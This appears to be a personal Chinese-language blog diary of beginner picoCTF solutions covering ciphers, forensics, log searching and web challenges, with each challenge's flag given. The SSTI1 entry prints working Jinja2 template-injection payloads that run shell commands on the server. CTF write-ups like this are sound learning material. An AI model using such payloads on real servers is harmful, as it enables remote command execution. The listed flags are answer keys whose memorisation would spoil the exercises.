WARNING理論上所有文章都有標記來源。但如果您認為使用截圖公開文章部分內容或引用方式不太妥當可能會對您造成影響,請透過 Discord 聯繫我:
zackzheng_online。收到訊息後,我會刪除所引用的圖片或文章,並會在您的意見下重新考慮是否要繼續引用您的文章,之後也會尊重您的決定。In principle, all articles include source attribution. However, if you think that sharing screenshots of part of an article or the way it’s cited could be inappropriate and affect you, please contact me on Discord:
zackzheng_online. Once I receive your message, I will remove the referenced images or articles and reconsider whether to continue citing your article, and I will also respect your decision moving forward.
第一步是你必須說:「我辦得到」 — 威爾.史密斯
二十年後,你會懊悔更多的是那些現在沒做,而不是真的做了的事。所以,拋開繩結,駛離安全的港灣。掌握好你的風向,勇敢的探險,夢想,發現吧。 -馬克.吐溫
Day1 2025/11/3-picoCTF Flag in Flame
先解開base64
得到這張圖片

很重的ai味
然後辛苦的丟給ai解碼
flag就有拉
picoCTF{forensics_analysis_is_amazing_c75dd08e}
Day2 2025/11/4-picoCTF Inspect HTML
首先打開網站
然後右鍵-”檢查”
把<body>展開
now we get flag!
右鍵flag-copy-Copy element
(記得去掉!—和—>)
picoCTF{1n5p3t0r_0f_h7ml_1fd8425b}

最近都先挑簡單的先做 我怕我做太難的會爆
Day3 2025/11/5-picoCTF DISKO 1

先點here下載檔案
打開之後發現檔案是.dd檔
在這邊卡很久,直到看到了這篇文章
行,我試試看
打開kali虛擬機,把檔案傳過去(或用wget下載,用gzip解壓縮
wget https://artifacts.picoctf.net/c/537/disko-1.dd.gz
gunzip disko-1.dd.gz )
先切到放檔案的目錄下
確認一下檔案類型

然後直接讀字串
get the flag!
picoCTF{1t5_ju5t_4_5tr1n9_be6031da}

炫耀下桌布btw
![]()
Day4 2025/11/6-picoCTF Log Hunt
先把log下載下來打開
第一行就發現有flag的一部份
這就代表說有INFO FLAGPART就是flag會出現的地方
按下Ctrl+f把INFO FLAGPART貼進去找(或丟到linux用cat server.log| grep "INFO FLAGPART")
我用linux抓出來了這些字串:
┌──(kali㉿kali)-[~/Desktop]└─$ cat server.log| grep "INFO FLAGPAR"[1990-08-09 10:00:10] INFO FLAGPART: picoCTF{us3_[1990-08-09 10:02:55] INFO FLAGPART: y0urlinux_[1990-08-09 10:05:54] INFO FLAGPART: sk1lls_[1990-08-09 10:05:55] INFO FLAGPART: sk1lls_[1990-08-09 10:10:54] INFO FLAGPART: cedfa5fb}[1990-08-09 10:10:58] INFO FLAGPART: cedfa5fb}[1990-08-09 10:11:06] INFO FLAGPART: cedfa5fb}[1990-08-09 11:04:27] INFO FLAGPART: picoCTF{us3_[1990-08-09 11:04:29] INFO FLAGPART: picoCTF{us3_[1990-08-09 11:04:37] INFO FLAGPART: picoCTF{us3_[1990-08-09 11:09:16] INFO FLAGPART: y0urlinux_[1990-08-09 11:09:19] INFO FLAGPART: y0urlinux_[1990-08-09 11:12:40] INFO FLAGPART: sk1lls_[1990-08-09 11:12:45] INFO FLAGPART: sk1lls_[1990-08-09 11:16:58] INFO FLAGPART: cedfa5fb}[1990-08-09 11:16:59] INFO FLAGPART: cedfa5fb}[1990-08-09 11:17:00] INFO FLAGPART: cedfa5fb}[1990-08-09 12:19:23] INFO FLAGPART: picoCTF{us3_[1990-08-09 12:19:29] INFO FLAGPART: picoCTF{us3_[1990-08-09 12:19:32] INFO FLAGPART: picoCTF{us3_[1990-08-09 12:23:43] INFO FLAGPART: y0urlinux_[1990-08-09 12:23:45] INFO FLAGPART: y0urlinux_[1990-08-09 12:23:53] INFO FLAGPART: y0urlinux_[1990-08-09 12:25:32] INFO FLAGPART: sk1lls_[1990-08-09 12:28:45] INFO FLAGPART: cedfa5fb}[1990-08-09 12:28:49] INFO FLAGPART: cedfa5fb}[1990-08-09 12:28:52] INFO FLAGPART: cedfa5fb}再把flag依照出現順序拼出來 Get The Flag!
picoCTF{us3_y0urlinux_sk1lls_cedfa5fb}
Day4 2025/11/6-picoCTF Vigenere
忽然想多做一個
cipher.txt:
rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_f85729e7}已知key為CYLAB
那就用線上工具解密!
我使用ctf.bugku.com的解密工具來解密
解密之後就有flag啦

picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_d85729g7}
Day4 2025/11/6-picoCTF Vigenere
忽然又想多做一個

readmycert.csr:
-----BEGIN CERTIFICATE REQUEST-----MIICpzCCAY8CAQAwPDEmMCQGA1UEAwwdcGljb0NURntyZWFkX215Y2VydF81YWViMGQ0Zn0xEjAQBgNVBCkMCWN0ZlBsYXllcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMCkf11rmV8rgqPvC2ZiPA6W+5RfOTwU6u3WpGvLA+2YFzocBPutaATTxTPB+uaN2ZN3Z5J2CTFGmPzI4sUQfSqhZGuAqbfMyDDR8pRswmIYVJ6s0ApcToi7H8m3IShSbeE0pZUSIJpbK1a7V6lJqgwFMDI1qrgNhGgZaMA/l+d2J0vC3EYdAijwSs8APcp6woWbFGYwdw5KaBsjn23oVz2G4h3/TmdB5g5e6Oq+kgi38NEpRDS0ylXo9mUko3FqS4I6y9gOtDEI4uZaCJZuXHDmBpqZ04MfXbIVlHjF9NMOjDvXLonN650oaANBm4bhBlgid0Fx48Z36tbtAVivZEcCAwEAAaAmMCQGCSqGSIb3DQEJDjEXMBUwEwYDVR0lBAwwCgYIKwYBBQUHAwIwDQYJKoZIhvcNAQELBQADggEBAHZx6h9rG/SE7RCoX6ndk5BOJprRiHpxOqPLAWcDyKHfStln0/HcQZzIrRVRsmoHiOmch+mdPBA1b+M5aj+3BWtPR9jOY4vht+ZmHAKa0WfQxwb2dBxsRPKTTDea0wN2u8BHLlSMPbWPNuz+TKySL41xfwFuM4VN/ywn58GTvdb7HXgwNZCGgo2N1WhRq/dBMiagXMahyb6gX4erugCu61T5tyD80hgsNBjaqyIdy/whRfC/Pmn3QHmdkqB5ZCPezwb2OLm45RDGv3WOB5q0BofoUGhVq757QE8qhL3oTvV2WlLoi3YWaZkJMCeR3vnH92cKC1OvFxdQuLOH8GMvl7U=-----END CERTIFICATE REQUEST-----先讓我們知道什麼是CSR?
我在網路上找到了這個工具
直接把csr的內容貼上去按綠色的就行
flag就在Common Name這裡
picoCTF{read_mycert_5aeb0d4f}
Day5 2025/11/7-picoCTF morse-code
檔案是個音檔
我直接丟到https://morsecodegenerator.org/tw/morse-audio-translator 上去解
再把所有字改成小寫加上_
picoCTF{wh47_h47h_90d_w20u9h7}

Day6 2025/11/8-picoCTF caesar
data.enc:
picoCTF{mbyccsxqdrobelsmyxigfknnoo}我使用dcode解密
看到cross的有意義字源我就覺得這是flag
picoCTF{crossingtherubiconywvaddee}
Day7 2025/11/9-picoCTF rotation
encrypted.txt:
xqkwKBN{z0bib1wv_l3kzgxb3l_949in1i1}使用decode的Automatic Decryption功能

picoCTF{r0tat1on_d3crypt3d_949af1a1}
Day8(Day9補) 2025/11/10(2025/11/11)-picoCTF SSTI1
這個網站要用到SSTI惡意指令注入
然後根據網站上的每個指令依次測試
我在網頁上看到,我覺得可能是這個
試了半天沒出來,所以我查了一下
找到了外國大佬和另一個佑仔的解題筆記
他們都先使用ls來檢查內容
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

然後使用
{{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}
get flag!
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_4675f3fa}
Day 9 2025/11/11-picoCTF Ph4nt0m 1ntrud3r
先下載安裝wireshark
打開
file-open
選擇檔案的路徑
打開會長這樣
然後呢就爬文
爬到了佬的文章
他上面提到用時間排序
因為題目有一個hint是Time is essential
接下來逐個找出來(依據佬的筆記大概從 Time 0.002212 開始會出現 Flag 經過編碼之後的東東)
然後就轉碼
flag:picoCTF{1t_w4snt_th4t_34sy_tbh_4r_e5e8c78d}
說實在我根本不會抓包解包 阿結果flag是錯的 有反轉 我找到了外國人的筆記 他寫的flag是這個picoCTF{1t_w4snt_th4t_34sy_tbh_4r_f318db22} wc? 還是錯的? 真要我下手啊 ok我解出來了
包從
Day10(打贏復活賽)2025/12/3-picoCTF repetitions
直接解碼
一直姐
姐到最後的flag
picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_dfe803c6}
Day 11 2025/12/18 picoCTF Scan Surprise 掃描驚喜
challenge.zip:
C:.\---home \---ctf-player \---drop-in flag.pngflag.png:
用線上工具掃描

picoCTF{p33k_@_b00_0194a007}
這也能當CTF…
Day 12 2025/12/19 picoCTF information 資訊
cat.jpg:
我一開始用Hex工具找(想說可能藏在hex)但沒有
後來用 Online-Metadata 查看元數據發現怪怪的東西…
這個看起來像Base64(按照picoCTF的習慣),但他沒有關鍵的== :cry:
那就試試看吧
是耶
耶拿到flag了
picoCTF{the_m3tadata_1s_modified}
Day 12 2025/12/19 picoCTF Corrupted file 檔案損壞
這題是看medium上大佬的文章解的
先使用hexed 查看文件的Hex值
有一個JFIF,那他頭會是什麼呢?
會是這些
把它改好
存成jpg
file (1).jpg:

picoCTF{r3st0r1ng_th3_by73s_2326ca93}
Day 13 2025/12/20 picoCTF Verify 驗證
先連上伺服器:
然後先使用ls看有什麼檔案
然後 cd files
And ls
然後開始驗證sha256sha256sum 02kLdPvr 3HWGffFE 6JGob933....
你會得到這張表:
87c3b0d3c1ed24251e37b0751349b306686f2a0251a3faafeb0e901bab96b26a 02kLdPvr67ca9b396a77d563d66b9158da40f3e4e780e5b244cb65e77722ccc34165a804 3HWGffFE9d41432c483dd058dcb3f5b3702946a27d5179aeb4fd97b9fb58397ad7b4ce21 6JGob933e4ad546bc827ece358ef790eb2c4c1a55a08bbbc2cd6c78faa0d822f7c4da3cc AXwbPGqz157221d44557474eb5c011f6e85d2b0d41b816483d85bc56d2b49b55582a75ed F7pJKgt3a70750f90599268a714fd82a9a910b763db2ece22567b9c3dfde18726c6a58fc JZuYuOle63bbed35df199e774e7861d14a5abad3d08f1c2209fc9f896bf97cd5a9a93aae OgbJmSsl93d57ad55f4e2b269360de5778c0810778981dee6b17d9b13ccba84546ca9af2 SliwhkVP1ef57dcac260991397252b5da02efa8f1504494baef9bcd7d23bbc7797f4f88c XmYppXhkfda3a83becb1507ae394d918f8d2727f4be3c4b54bf4c83e5bd04b37cb21aea7 bSkjXxrA6edfd5bb980fee3a9e90219d5d87965d9de3166d6263b40c6ae6b558e378111e fM4Y8XlN22d08fe3955ebc370f9019c2453409fbc550c98b20b3a9def85c33fa19f4d7b2 k3Je1oZv5505c750729ed42de1a87f64b68dffe3d476f9c32aa1cc943e76690755c80009 pbXSC543b874d11a9a1f8877450b87591deb1b1c4ff080dd2896ca6f7e72acbec9f6fe3c uVGzmmri6219489551ec8831730fc42c70abdd04a16776183c44c62fba833943f3645ff0 yRSmctoR1cceaf56a71d4e73576bef1e02a51263d5b8df747fa547c2d64c9ec6a5ef99dd 0AEMwSHP38e8f08ab00599f91771494a3476c676463d7e686b2fd978dca699ba548885ad 3KQWpDpt4fac90376a7d47bad4240067a8ae5eb6f7f00ad4cf02a00bd2e48540d69d66c4 7GdIoG6L40d8639fcba4cb7e9ee47c9faea81e76f7d4ec6ddc6de8e2010632e8d8eee546 Ae01ONEX8b8027a9eaae34d31f95ed70fafa9a7012fd5bb488708ed53a9f1b015ad45daf FA1DL0lH53583b95b87644073b3f17b3e31846ae68d6f2ea5732f047afeeee452317399a K4w4LSpK46039a97d82ed9b22c793a7908cf5f904a2252eb53116283d9c24a2ff8019f41 OvH6KubAc8b1bea17cc254c984047f98a6943df741ff2077d427587a6c65c9ddaf42e5d1 SuTmtwHTb4c9eacca6e5f68024521acb56caae4b289d44fd0d310d3d5ac353fa452d5cf7 Y9apvJebe7c0a3ed6e9db9c3b3fa856ef0ab4bb4e0bf49b90ae8e3420ab600f992bb4d21 bXmTLFnK48a4314e1d00be7eff63d4a2fbda29fb479e3698652aac68896ef5b9ce9b922c frJix6dy823db2220a03c17f2b37a15b861f667a457e1e25403d9f2d01976aceb3493e84 l4aPZsINf787bd5c22e33717f8d90da57e2158032a5df0c43853700ed33b1d94625bbd31 q2mcPs3c2f71b22c3ac3d84081a92eaf7b59a46a221c3c9899fd252a58fe0699f69ef22d uiBoxr24656376aa2c2e825866edc436b89e25ac5a21a8f2861702f3478dcb7691077903 ybQ7iIWc6606c707cf5d145c738ccc7b5f6a404f40499ef2e3d21c81ce8671d701f06428 0QBK0M7326b4f4f89ad41f7eb348084add3f9bf7a5baea2500ee47ee57aab7b471d2a233 3RwrWxAh7ce150de6af51bbb4a19baeb501171ee3564784209bddb336ed29b3b12e3574e 7M36N0ZG1c9666e507482e499e826d19dd2b7814d4f709325109a28f17196c52b16b252a AfqV5hAXf8a39b266528bd3e01ee4ed50d544f49ad819df7275621e6301282c3a293c2ac FaSiQOUR641bec9bdb770bda0e92ba713ff5fe32b939ba16417286e95214ea6685325a20 KM1rOvYX25e2d42de09bac8adb698638756c30412028bf2c4428c2a4dae4e95d10056d75 P0pMREh2b3a745060d75161684bfe1cbf9bf4ab1a37d73af06867158320bd696241a89f2 TAh3haNFf7345e10efa04712bc9c097fbf23822eae117f0b037159d6a625bd12ddcebb43 YJZwL09m4eff44752ec8f15bc425835870e5bd0981592f50e511ebd8911b9decb64977c7 byaxGEzlc83798cb55b52a3aff7900473a7a7433d0ae4cb42d72ff4173df4acaafdd2e37 fzjMwVlq8bf76d372095d248547a60658a86e2930827cef380b240c7ca20a19818184ce0 lCWOa2m670d1cc2066e5c152412866874e9bac892533a2a89044793aef0969e3b5b791a2 qhTEo0LLd91b84b4b13b04cb11e2fb03a1a1a35be6e2b5ce10b0b34fc36ac4cc3611c397 urhbGMndc2099aa04d7b40bb64227e4fcda991e2b75a71616deda55f7af562b3fbd5c55e z8QLAIjY7c18ec256d95af21dbb8aa8b7d72ecaee7debf86892230d9c70c1e122c56d796 0ReLqo7l497f6e49bb144e85fd61ea03203535e889f931eab00e791f18b5f2ed8039fa4b 3UI1Q3Imc6652fec5c49fbbf08d0dc26172f9f453941b54bb24fbed3e68726458ae13734 7S05biBB5bcf0bec2d377659b6bc0293e9d3f708dcde86005418edfa830996fde5723a71 AuXnIN8I185f93b8ae132b36852afede2d0585c0e202330d007e6d3eadee4a1bca494506 GBMBtUcG8516450cd8a2c1ed26f15fcdd48ce78e5cf4fa7b10620600ab2bdcfbe6dd901c KRxkl4ki3497fc8b0d4ed0570bb7bab0f435255d5822625bfacdf1c9f006e30ff939ae82 PK3nRKAh8800bd39fbdb26f6e3bbf0bbf67ac5d5ca8527fe5f3c307cbd508ea054c9a031 TIC1KArZe5878ad8affaa6cdfeee8c1970fcf6c356d50614eebe103e6ccf148566bc2574 YXeLAbOj51588d7aef92d2e00a3ba0010bdedbb992984f1d198187d9111ce9733afa9afd c5K8wpvTcd14ad97398128bb3f3624b9d81d49ea514f12092eee0f532e5a8f8d8f1518c0 g33i1myO31beeb9ce36db82f28a4b2f8702fb41e5a36d5399e5e30d236e782435634c532 lY9YUKSkb2864a8afbfed55f3244572a0940b3888c35d1afba85a19ab4e7f68bbf3e8560 qxtRkCQq9d8ed791b142d700b470ef60eb19ddbeceae88b1eed9a71a12d7b71214ca79cf v7gF2ZIR87ceec22eb23cd8dbe6b727807153c614e14710ee1b86ebf839837410db961bb zKjekGtU243a3167ec727432c5c588487848805f88562a459f0f52d8fe5c809b4e3961f8 0pYtGDyN2b2077661276508f47c2238573c9afba869b7d7afb01252727d8868475d3d0d8 3XFTF7vif9684f3b3118811f5c85374b178594831716598e443cc6d477cb169a6a0f05ed 7SXF5dDA41a5529a5f005c4900ea42581a15a8047969650dda0609b11c5b6586e359c68b Av9IEmcie92c298e69e07ca395f7e7871048be6a3e5a89bab1005454ed2dfca91a6de95e GGpU931sa6c1f6ccf857d0e503fd8b700292ede9e3988bdebb39288aafc49c0903e0f2d9 KaGA7sxA27f5073db4545e8df8a3724152cee4cada016a613c8f0d4d328b54c42f16dc7b PVAhaXhIdfa5f44af72b450b88589f714b863c56b7e86bace2895f2156010e2ecfa2af69 TJect2dg569d19491c54d272ffd4298497b5a9770896be6382101109bffd0b73b63eb91f YmQKA23p87f32602546e3ee981db881b24135755f16c2dbf740c7a0d83bc3f33be3e7fea cAehfago54b08976ea67826a68df7c16e7db1c3b6478351dd7cfac57a2d6bea4b8146cde gNe3d0tj2f630fb284aaf5e4f6f52031834b590e71b734c782a82b8d72d88b83c4da2229 lpgH0BeK7d199d5bd3fbdcc98dcd2ac2aa74b4cd8fd3d20edb85ccb92b130e2c45728125 r0zVMZkQ22811aaef1d52d627f9d50e0b45cf9ca0f9c3ef119be63074c16ae51110f45ff vJ3qPWEu9910658855ed1d8dc29473f860a3442df235593e96d80dda3a51776a4b9ee793 ze9Qihpg8b17e0e68b9508240a82b7606a9ada765d101e3ccca24a401086a1110f10e936 13eD2Kljd63f877474df655f49b1d93806c18483f46b39f589135a7ccd623ed88bef296d 3azP1Vr5455040106290ee3fe07446351d92a12ad684e0c2e6a06ab4cf822481e95bc5b7 7XpL7kA27a909ad52a38bde6c28501a6875df0fc38c8b82c8931559729fd36b361768b51 BVQMsUMNc44f5815aeed931fa385f02b292850b6daf770ad44858c27c55393224c715321 GTH1LeLw0598c2535e1fc3d03f2c892ff83cd676db8b2dfabd4be6d52f276d4d9bb87f53 Kopd5uASe178e47068133e1cc218b9606de9afa3abfbcb09374814f6172c7595b2f9e69c PbCHfm8l1a88389eed7357d18148c477dc3565816b1d7449b2a1281d6b323c310e28a3eb TSGfXer8dd9c5e8a0d47f17d0c00aa634c66f98eb7b879d12b46825ce6aa71d322c58857 YoOZ5qVn60d1fb2e4aca2163d76ab396fda4adf23b79269c44dc991fc1c154be85937f2a cAgx0hQ8623b335271448a2fac7a26d73a01493a44efc893be975b46b8585df36cec5d8f h6P0bHfg91942183eb850b085e52e516399f7e713d805b8afd679934b6802ebe3f6a0afb lty8luMw4b829119a9a6232baf41272a35cecde1f6caac339be427fce2789cd308bec36b raIgZC8T644d583efc14fc807ebefdf33d64fa6b74991484f8dcae2cb26d560e7886610c vMdtOisa6f8ca03d84f8db4348398d4c57736951c28b2872ef6f918cc4aa03bae67dca3d zfFqIJrWf60eeacf11219c38754b874863e3364d9a90c854f84972ea03e4bb125276b42c 15s8svF3e33e177eef2c1a5dd0cae42ea2dbecfb66255c16340259186f055ba618b88418 3bwissRA328cda47e2de47b32cc4f24f3b4f68172fab527d6d1e5face87fc2799dcf9d13 7ZEsnWZx2e6bc7379a67c4263a0a7f4bd7dbdab97b4ea565d707807cb708084666032e04 BYWVMQ8Gae727780ea058767d44fa1fe53053015b2f3d335eb60baaa424e008b5822f5f7 Giagg0HIe5dc465374749038b2ba5aace9e3081ec6864751bc959d6efc29e535df911f1d Kqq1CiRKe6ddc0e9eb7ee9ba0dc207c451b86430d18539cb521296447e0318fa483b391a PisLwk6Cebb7493a347527408555b4bbb1993eef74f4b2b10eec578d16fb14d4b338f549 TdeDBXMfdc9e3ff877eabdc206dbe9f643dc40743ea6aa18f6140e060478a23d7584686b Yqx2G9d1933a7b99a8fa56bbff31085ee3d8a460fd0d7c2c1395a14cedfde41560caf15e cBdFMzZa0ceaebf53132bb9440f2fb92970ba9c3cec286798f7b7fa5076b172e6777f795 hIbQdK4dc344491b0eff8a63926953bb298b2ff433e994b171956b902481d15b8f2aade4 mAZwT81W6b6ee3b30337f0a6b7520c1658c0ad09f3587081eb3d7724d0051bf5a1672b4e rse22gSCc029b4109b73350dbb76f7f24bb99ac5345cac5342498d1fc87fb5ae6fa40936 vT94qEUUc3366a02b371e9e36ef62ecffffafb99d5e6f380a8ff2c2ada684e3e528c5ec2 ziobqxT9658581c1008cb4debd37045626d2f4533b926ebffbd47bd6debfa93205c2d918 1BX0cysvfe04a5bb4ebea571df8c206d44f1dfad2634eb0bb112b37afabe104dae8dc270 3llQZxg9e8010cfb1b4e7823b43e67e66eaf8be3c9f2d72acae9523d35ee9fde81b8a71b 7dnW8EpS29609f6874e6a0d90f060965236de5316b409e826746abb22a77a27b80875906 Bb0A4ZUF68f7aa10b412bdc999fe044eda8739a87277c319d08fd329464ae2a7a56aa0f3 Gup9YNYbc18bffa33042d9fa4f602aae7c90d1b30a1bdb5b76e34edbe06c0ee0bbdf8e5a MCFq06DD7044b1bd6f78ad3a0730a3781613f2c6e410637b24a1b5a5ed7f96d5c96c04b8 PucU9ljBaa1cadfcde7a71b00345bb9d3215deaeec79e00f158fc565cc5984c67c8cd913 Tz1xgD5Ad35fd57e1130601d9c29856cd73b450010f6138f7198e5821b6f4acc39f83d89 YrKlF95Caf7a53031091f89d38c3571060f1dd55617ee71cd6b1d03223845c9d0f24c860 caVHWehfb96cf609b328b88ab727628fc2b553b517b7f37bc70346977affa67fde226cdd hueXtQsv8b69b43addce521765ddccfea37187495eeb84f5f5c8116dc6fe27b4211ff6e7 mL2zl8ME0cd1e34d4adca3f90d94b2334ebde1e0bc2319b33c98b7556d9a38c7d8cd6e8e s1T1hXGidb57334082c1833368719fdda2a899bc8fd1e7a0f3b0d27096ab15e1c4ae4305 vZ9Qc5Cg1bb3cd55deefe5255c3a9c864853d3ffc7d78fcfa1e80b882636d696129b3015 1QyIAyVK844e0e8877420c40643077f8eb291bb5df39b0d50481078fec186021435cbdfa 3niXrkT4ff897449e27281cb7ed245763fa8d73fd8ea0071095d4c250335206c1b43a76e 7e0ugnNidc5dbe21ff011357c37f684459719d403602b8a4e86b024464d97618486fd583 BjOuTdvtc8072cd658d67fbc73e872f577c87c549fb04a25dd35f24d89c42e545d679a71 Gyn3Qfulb1c70e2762730559e1568598f12d7f16c555b06dc86e582c394c52230333bd6c MRW8xKE7c03b6a2fbe7c87a5fa9e287cb676a9790ed1e4ed3520e6e3f9cede72627d9f10 PyzlgxBl74260726b5ab74b1c6102bfb1b0e7b29ef9518a7c5d67131bc59598c79bc2703 U6Za1XXba2dba873a39a63ef8bfd29baed73ecb4133036625f9608cdb62615948a7b2d0c ZS6vNpit2da7ab6ad6ab342cea8353a75674c2929a4345a80db4f01a93aa15a7db60036c cbKOHVgV4f6df4fad9fa0304b32dad472c4c4b7a6ebe127ee4289c95d362d3d0daf3a0dd i9nzJ3r6ac5990afaa7d3e7eab00af758c5c159543b49a50b32567954918870b7b177bb6 miUtTQRmf686a22552f01df89bef392a046ff02123612b26987df9b822f24427d7f26b8e sHWDCVFR3a50a8f54cd1f0594458e5fbde64a21560c60b953f83ca1d2f82b809678059cf vZXXKL7g7860e56e6f902c36c647e72a368d766ba83ebe61e197d08e2de42bd5b1aa9bb3 1WzFkIC5a133863c44b8bc0e541cce1b6a5b4de9cabe1b839c5ef8fdceefc6a0697a35fc 4E42FQrx7826f92b35f443fa95562c127341f5b3c216123c41a7ecf093e706c349cede6e 7enMn1rk2eb7bee4a425fc3ebe305322319f53e8d677236c0943e0de5af673b00185b639 CDVB02i6c6e9af17c752fec2492f39c6db1b9635d934c8175760ef775a954c22ced5ee06 HUGRY61E71983ce7ae526a69631cff37cb6b19de5020184d48163d17887e9ec147903bce MkEdjeVZ29f9c223a1d65045492c489d7af46d2b0a5b933094381a1f5ce912772c7f215d QU8jejZq54d50b90efd6b0f691e34cbb69d49b48aea034381a8604748c12bf4dd19f3e36 W2hZvcID0498558d284b804a9c2118343d6c4b303d51c91754a4dba104de8f462a62d6c5 ZS7jkTUt5cf53330aba9cdd47e7e2f1f3108aac315ee3e45fabf7ba05a4f1af322c5af26 cxjAxbcB0f55abfccfae087cc5ee957cb73d9cb8b8cb087d0f78984bd8d93bf8c15f8da7 iBekBdEx8e29227a6dbdcf52e800abf249e97ca8ac4907060f55ecec3cd99f5a3b75faad nYMkLfqqc2d13ff8e04507c6276727003de701c035f8961c93cd437ba1eb226db369ddd8 sODASTm72a7472392fa03e83a8aaed7382501f298848540fb03e0d56ccd5e7cc9816761a vlXYHLR4cf8f82e7e63fb26d6bc8680c4d5c7c46bcbdc3bdc12eec5d717c6062da228687 1fPO7Wz1542a4fb2057febb1fd47b6737a8f6d238bdc8ce45e114a55e7eb4c7135905725 4RWg3C8169ce6ee1d62f4ad48451cc6f485c6e0b9f2fa88dac92bfe410844cbac3ac988a 7iM83rpTb72e7c53024adf52255240e22f3caaad0d8f6c8f6fc2c09f59bfe6fc147371b8 CLcdCN8fc210b967f2252e448030953a8e49f9addfc7bd4aa2259b06b1e0964be41d714a HUqcWryv051fee8919ce25c4af4f15d002890a28c1c02a0797ac83e9f4f5982337bb46b5 MoKJFjOib3524a2fc95f1380a6ffb9fd77957a72107b266f52ce2b2e2542e1e40c3c8d00 QUesl6sJ073f31f0fb7b393f372a1505e5a5735e3e84a18f708305a7fb4e1cec5fe3491e WJFLBATt59bbfbdb82686d9f6fce7e47b60955182ba550fc9af841e273dc758f1bf800fc ZTxbKkJG9365ad6ec42d57a783ac26f8b3b31caf8b8a3103301dbece418824f34d419b52 d5EQVHHc5f27354f02e5147c4414cf03ccd428fa94019cfbcf3d22beabc3050bd4455bcf ia64o1VA84220611edf0543f583626df269f0b2c561a096eca96567c0ae519123e9516e8 ngS5ThOqc5833172998cc03ea6e5ccfe6c7ff557f24946b974fca77dba421c6df3732519 sTNxbYIXb4c4693a6461f521d561a07d60861ce611680a92ae810f9266ef0847086cd35d vy3RDHxyec510cb763998ebe017a5a30c5f89f11eece72a0fa245626a40727ff54d5ab78 1iUcIRwR881a325685b96bcd76ffbaa48636e97e135199818cd6379a611c42659679f08a 4WsDciyV9aadbc84cd8e8e5bb5f68ecfbeb873161027f342f15a7239b52b0083cf610d1b 7qVcsxInee4cd7abd9904fad8b12c5b00ab8fa68649df76395e375904a61c51812ef8f61 CfZp4f2N867bb7ab42225150b6bdb7804536729f8ae0354f0f8ae7ef28fb5cab58c44cfd HVhGYkYw1ea4eb8107331a47f0203e8b21815fe4b511a38c662b4ce96b5c5eb1017f6bbe Mrl2cMHDf7a715df3fb3bb452c4b8af29a21076bcf0b064198a31b38e5daa040db720588 QjfpcKtL25affd8eb9271463e13f74cdd63003dce0470a63e6a31229ebdafdd4452cb68d WLCnFHkD81a1304a5559dc90f3060350e3253b8ed7844119dcc637de555f80f8eee9b823 ZXWIGnQRaadda7398725512ac75dc5910a94163fbd29b8a50c4223a9d8c06fa300151265 dGbl67gAdac515417ac42536a6f2cc09432af3a84662ebd30b574248840ed43caef83814 inbE9V4Z6319463e65d0a0a102b1582544be4f4504b2e40d4e75d0590cbef669084f7adf niAMHaywcbeb404501866928d3e682a583b2611b226976f4ba8b277ffeb229962758ba75 sbuTFkuCc2cfd10715e0618374fd906cb95ef6d6c21266db7aeb9b2213fe94920758d0f8 wH52POYK4b970ba0b2be8546d30dc4ca2e77baf3b597cf1d573b4b66f681168572372d77 1kzeT7Bqdd81f88c10bea4d2602100f63df1608793ccf7261fd6abb8758a0fa3d62555a1 4YmX8P1z00b971a42827648a63305ce92a18112b199d1043935f4180b155cf6176044563 7x5Qa3WK52a1324ac1d035c964dc6e5460ed1ef5b5097977e07483df1bac579c3cfe2ad5 D3FjiyXm8a21cae12874b809cf04540963572624dc2b30535c302e99499d21f1cc092a1a HkwhoPkpa33699c4c44f57fed1ffbf54b1bc012c01d0855b5bbb3db1ff138e6c44d0c072 Ms5Mvz12a8fe7f35be118e6611a07b7f1c62317311dde1d00976783546460fe8100acd9a QkF8ZdDf4c05e355e427358eb7ad0c3c3bb487ddbdd62ce4cf27332f5057cf7e8e44db47 WOHDiZ4qb35084176f9bbf055b5d18a474972b1498d40f87c4e3e94b9e4c21b576146892 a2OU257J528ba4c7c5c54d43ceff8163fa2d6b57fa4879b4a0c2b94fca9c7e7f1a76cbd9 diVxZXPr37616b4f4120b3c0b3a2028aab736a32c32a29a45c75a5b4e8c39b3eff48a636 iyKEK5tYf6c4393b9b4b1463b5426919644228acb53886f12a26a171caa4a0c3830bdc67 np9TOAIRc8b7aa1ab6096bc03fcb35e4362d9e160dab549efbe1fe2186b107d24d42c066 scPPxxi79a31be04105a29887bab62645b8e1e10690db77a606c74d394af5984ad10cf41 wR9DoLPS8da597f2a97e225f9944e433b98fb7c41fc1004d6f8fa12245eebb94f7e4d65e 1s9fb01L16f1f957b34292dbbe235f69bcb2930c5ef9cd97958a1b2ac82c74aa4cf8356a 4lpXJyrZfba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7 87590c24ae5bc69ebe3d9fb3f478666123383a25471d570e1c1afe4186c1f18d54bc082d DQlu1oVQ223542642db77dac29ee7fe5753ee5069730c2d51ec7ae7d0b6e9432e496bbf2 Hw4z4pGAc2f8faf5292931f4efb8a941ef4000c49d3ace7be47883794fc9df160552c3aa N36WmSckf73cd546118e8e5dbd289ebc329ed0ca76bea714a02f20de73b70e3066af28b3 RD85xyJi774cda7254de090a966573d71bb55449c058dd8dcb484c5e023cc2679e8f09de WY59WpIgce5563451758665b431ecf2a8b4544d1a3359d0cf3b7486f6cb95eb88ca256f4 a5BwxEPTbd121299ac6a5a5a873779f0c04084fb388ae55e4f31313f16b44f4150f13be1 dmc1Epts8efc2a80f26e4845f49e6d872ef8b7484bd8b685533bdd85e3bb8149ab69c13f j21jebUDc314ddc739e02ab59ec2d01e98c1d9d7fdcd7ce5d99325284f1bdf7b71278a6a o4p7FB5lcc7bc1f65f086424d6091c052f7bfe74d738a2d42c9c770de74ccea4593d78a2 srli5tAsf83a052169e5e576b4a231ebff10638a2f23abe4d8aa12a002f64dcb4feb13e8 whsqK6Xie2121b753185be8ca8bc6c04b01c708461946deb637632edcef57c3423116c3a 2EHy0UNu95a809a1598143a50ba620e9387eff3a03fb378be49e9fd2d1209219cdce5cc5 5L6bCEOe6600f46e718e227c666cdde6c51bce48a659320dae333a7eece342c4dea32a61 